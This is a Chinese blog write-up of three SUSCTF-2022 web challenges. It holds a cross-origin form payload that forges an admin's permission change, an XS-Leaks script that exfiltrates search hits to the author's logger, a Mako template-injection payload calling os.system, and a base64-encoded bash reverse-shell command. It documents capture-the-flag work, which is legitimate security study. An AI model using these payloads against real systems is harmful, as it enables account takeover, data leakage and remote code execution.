yink's studio

yink's world
Stay hungry, stay foolish.
  1. 首页
  2. 比赛
  3. 正文

SUSCTF-2022 部分web题wp

2022年3月2日 627点热度 1人点赞 0条评论

emmm看到了还是有差距,继续加油吧~

fxxkcors

我们看看这道题,先是一个登录界面,随便输入用户名和密码都可以登录。

登录页面,看到三个选项,一个是main,里面写着Only normal admin can see the flag

一个是change permission,看来是可以提升权限,试了试发现不行,看来可能需要系统管理员来做这件事情。

一个是logout,登出,没啥好说的。

关键就在change permission,我们需要让管理员来帮我们提升权限。

题目中还给了一个提交report的地方,还给了源码。

const opt = {
    name: "fxxkcors",
    router: "fxxkcors",
    site: process.env.FXXK_SITE ?? "",

}

const delay = (ms) => new Promise((resolve) => setTimeout(resolve, ms))

const visit = async (browser, url) =>{
    let site = process.env.FXXK_SITE ?? ""
    console.log(`[+]${opt.name}: ${url}`)
    let renderOpt = {...opt}
    try {
        const loginpage = await browser.newPage()
        await loginpage.goto(site)
        await loginpage.type("input[name=username]", "admin")
        await loginpage.type("input[name=password]", process.env.FXXK_ADMIN_PASS ?? "")
        await Promise.all([
            loginpage.click('button[name=submit]'),
            loginpage.waitForNavigation({waitUntil: 'networkidle0', timeout: 2000})
        ]) //登录目标界面
        await loginpage.goto("about:blank")
        await loginpage.close()//关闭标签页

        const page = await browser.newPage()
        await page.goto(url, {waitUntil: 'networkidle0', timeout: 2000})//访问给定的url

        await delay(2000) /// waiting 2 second.
        console.log(await page.evaluate(() =>  document.documentElement.outerHTML))

    }catch (e) {
        console.log(e)
        renderOpt.message = "error occurred"
        return renderOpt
    }
    renderOpt.message = "admin will view your report soon"//访问成功提示信息
    return renderOpt
}

module.exports = {
    opt:opt,
    visit:visit
}

这段源码其实就是让admin带着cookie访问我们提交上去的url,我们要想办法让admin重定向到目标页面上的change permission来为我们提升权限。

但是经过测试,change permission是利用json把username参数POST上去,而直接用url访问显然没法用POST,看来只能先定向到我们自己的页面再定向到目标页面,我们在我们的页面上写上恶意代码,让admin浏览器加载之后POST对应界面。

问题的关键变成了如何让admin进行第二次重定向。其实题目中有提示,这道题既然都说了CORS,那么肯定在跨域上做了文章。

CORS是一种跨域通信机制,给一段介绍:

跨源域资源共享(CORS)机制允许 Web 应用服务器进行跨源访问控制,从而使跨源数据传输得以安全进行。现代浏览器支持在 API 容器中(例如 XMLHttpRequest 或 Fetch)使用 CORS,以降低跨源 HTTP 请求所带来的风险。

那这道题的考点其实是跨域。

它的机制,参考CORS通信 -- JavaScript 标准参考教程(alpha) (ruanyifeng.com)。简单来说,就是分为简单请求和非简单请求,简单请求满足请求方式和headers的规定,只需要校验origin就行。但是我们的请求是非简单请求,需要先进行OPTIONS进行预检。但是发了OPTIONS之后发现对面没回应...CORS预检是做不到了。

那就没办法了吗?其实仔细查找资料就会发现,表单是可以跨域发送请求的。参照为什么form表单提交没有跨域问题,但ajax提交有跨域问题? - 知乎 (zhihu.com),然后ajax应该是请求没法正常发送,因为ajax可以读取响应内容,但是form表单是没法读取响应内容的。所以同源策略是为了限制读内容而不是写内容。

那么接下来我们剩下的工作就是用表单POST一个json参数过去,而且还不能用application/json的content-type,否则又要校验了。

可以利用表单元素,在text/plain的body里面硬塞一个参数进去。(队友tql~)

<html>

<body onload="javascript:post_cookie()"></body>
<script>
    xhr = new XMLHttpRequest();

    function post_form(path, a, b, method = 'post') {

        // The rest of this code assumes you are not using a library.
        // It can be made less verbose if you use one.
        const form = document.createElement('form');
        form.method = method;
        form.action = path;
        form.enctype = "text/plain"
        const hiddenField = document.createElement('input');
        hiddenField.type = 'hidden';
        hiddenField.name = a;
        hiddenField.value = b;
        form.appendChild(hiddenField);
        document.body.appendChild(form);
        form.submit();
    }

    function post_cookie() {
        url = "http://124.71.205.122:10002/changeapi.php"
        // xhr.open('POST', url, false)
        // xhr.withCredentials = true;
        // xhr.send(JSON.stringify({'username':'lilac'}));
        post_form(url,'{"username":"yink22","','":"a"}');
    }
</script>

</html>

在report界面提交你的恶意网址,再登陆就看得到啦~

flag:SUSCTF{fxxK_4h3_c0Rs_oUt}

注意js里面有一个可以用来控制cookie提交的属性叫SameSite,但是显然这道题这个属性不是strict...

What is difference between SameSite="Lax" and SameSite="Strict"? - Stack Overflow

ez_note

这道题考的是XS-Leaks,没有见过的攻击模式,先去看看是啥,参见这篇文章:Cross-Site Search - 先知社区 (aliyun.com)

我的理解是,当我们没有办法直接注入js代码或者进行其他操作的时候,我们可以通过用户访问后返回的一些其他属性来获取信息,比如跳转次数,打开的页面长度等等,有时候,通过这些数据的差异,我们可以猜测出用户访问的结果情况,进而进行盲注。也叫作侧信道攻击。

看看这道题,进去是一个login界面,随便输入就能登录,只有一个写note的功能。测试发现只有一个文件匹配的时候会跳转一次。那么window.history就会多一个,可以用来做判断。

这道题又可以控制admin浏览器,虽然说前面有前缀,但是正常输入没问题。

那猜测admin应该是有一个私有笔记,这个笔记里面有flag,那么我们让admin去搜索字符串,然后检查结果里面的window.history.length,做一个盲注就行了。

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="robots" content="noindex">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
</head>

<script>
    function send(msg){
        const Http = new XMLHttpRequest();
        const url='http://127.0.0.1:2334/message.php?msg='+msg;
        Http.open("GET", url);
        Http.send();

        Http.onreadystatechange = (e) => {
            console.log(Http.responseText)
        }
        //其他师傅用的fetch,我这里好像有点问题,用了XMLHttpRequest还行。
    }
    function search(key){
        return new Promise(resolve=>{
            var win=window.open('http://123.60.29.171:10001/search?q='+key);
            //劫持admin浏览器访问
            setTimeout(()=>{
                win.location.href="about:blank"
                //把win.location.href设成自己的域或者about:blank就可以重新拿到对history.length的访问权
                setTimeout(()=>{
                    if(win.history.length===3){
                        send("success:"+key);
                        //多了一次跳转,证明搜索成功
                    }
                    else{
                        
                    }
                    win.close();
                },1000)
            },1500)
        })
    }
    async function run(){
        send('start');
        let chars='_abcdefghijklmnopqrstuv'.split('');
        for(let char of chars){
            var temp="SUSCTF{a_"+char;
            search(temp);
        }
    }
    setTimeout(() => {
        run()
      }, 1000)
</script>

message.php

<?php
if(isset($_GET['msg'])){
    $msg=$_GET['msg'];
    $f=fopen("./message.txt","a");
    fwrite($f,$msg."\n");
    fclose($f);
}
?>

在report界面多次提交自己的网址,更新flag值,over

HTML practice

看了一下是个提交框,没啥思路,fuzz一下吧~

单字符fuzz脚本:

from time import sleep

import requests
import urllib

from bs4 import BeautifulSoup

url = "http://127.0.0.1:9999"

for i in range(32, 127):
    html = chr(i)
    # print(html)
    data = {'html': html}
    # 会自动url编码,不需要手动编码
    r = requests.post(url=url + '/generate', data=data)
    soup = BeautifulSoup(r.content, 'lxml')
    if (soup.find_all('a')):
        item = soup.find_all('a')[0].get('href')[1:]
        # 注:有两个.不能直接replace
        # print(item)
        r2 = requests.get(url=url + item)
        # print(r2.url)
        # print(r.status_code)
        with open('1.txt', 'a+') as f:
            f.write(html + ":" + str(r2.status_code) + "\n" + r2.text + "\n")
            print(str(i))
            f.close()
    else:
        with open('1.txt', 'a+') as f:
            f.write(html + ":" + r.text + "\n")
            print(str(i))
            f.close()
    # sleep(2)

fuzz单字符被ban掉的有这些:

"
$
'
*
+
-
/
[
]
_

首先判断一下题型,我们提交啥,最后的回显就会显示啥,所以估计这应该是一道SSTI

SSTI在CTF里面常见是python框架(当然也不一定),先猜测是这样。

然后fuzz,一般来说是fuzzdb上面找对应门类进行fuzz,然后手动fuzz一下注释符啥的,再找找常用的SSTI框架,看支不支持语法。反正各种找,找到最后确定这是mako框架,用mako循环语法测试

%for a in (1,2,3):
1
%endfor

结果渲染了3个1,证明确实是mako框架。

当然还有另外的神必fuzz方法,有个/generate的api接口,多打一个/会报错

Absolute URI not allowed if server is not a proxy.

上网一搜发现是cherrypy,常用框架就是mako,然后mako语法打一打就确定了-_-

然后去翻mako文档,找一下哪里可以引入python代码。首先是<% %>可以引入,但是%>貌似被ban掉了...

再翻,发现可以在for循环里面执行python代码,看这个例子Namespaces — Mako 1.2.0 Documentation (makotemplates.org)

## base.mako
## base-most template, renders layout etc.
<html>
<head>
## traverse through all namespaces present,
## look for an attribute named 'includes'
% for ns in context.namespaces.values():
    % for incl in getattr(ns.attr, 'includes', []):
        ${incl}
    % endfor
% endfor
</head>
<body>
${next.body()}
</body
</html>

for里面引用了python代码,看来可以在这个里面执行

但是单引号和双引号都被ban掉了,想法肯定是利用chr这些来绕过,但是chr也被ban掉了,那就只能利用request参数了。

flask可以通过request.args.name来获取到name参数,根据之前fuzz时的报错信息

不难发现这是CherryPy,即无法使用request来获取请求参数

那就上网搜一下mako的相关用法(或者本地实践也可以),会发现mako是可以直接通过名字来引用GET变量的。

然后找一下mako引用os.system的路径,由于这道题下划线没了,就不能用追溯基类的方式,所以只能使用属性引用了,利用点符号。用dir()方法慢慢找。当然网上有payload直接用就好Python context free payloads in Mako templates · Podalirius,随便挑一个没下划线的

测试脚本:

from mako.template import Template

html='''
%for a in (1,self.module.cache.util.os.system(name)):
1
%endfor
'''

myapp=Template(html)
print(myapp.render(name="whoami"))

正好url有一个name变量,那就利用一下,poc:

%for a in (1,self.module.cache.util.os.system(name)):
a
%endfor

但是命令执行结果不回显,写文件写不进去(可能是我环境的问题,其他队是写的进去的,可以写到./template文件夹里面),反弹shell和命令盲注都行,我选的是反弹shell,用这个命令反弹:echo YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=|base64 -d|bash,注意别忘了手动url编码(有加号)

进入根目录查看flag,over

参考文章:(师傅们tql啦!)

2022 SUSCTF SU Writeup | TEAM-SU

SUSCTF 2022 By W&M - W&M Team (wm-team.cn)

SUSCTF 2022 Writeup by Dest0g3 Team (qq.com)

本作品采用 知识共享署名 4.0 国际许可协议 进行许可
标签: 暂无
最后更新:2022年3月12日

yink

这个人很懒,什么都没留下

点赞
下一篇 >

文章评论

取消回复

COPYRIGHT © 2021 101.34.164.187. ALL RIGHTS RESERVED.

THEME KRATOS MADE BY VTROIS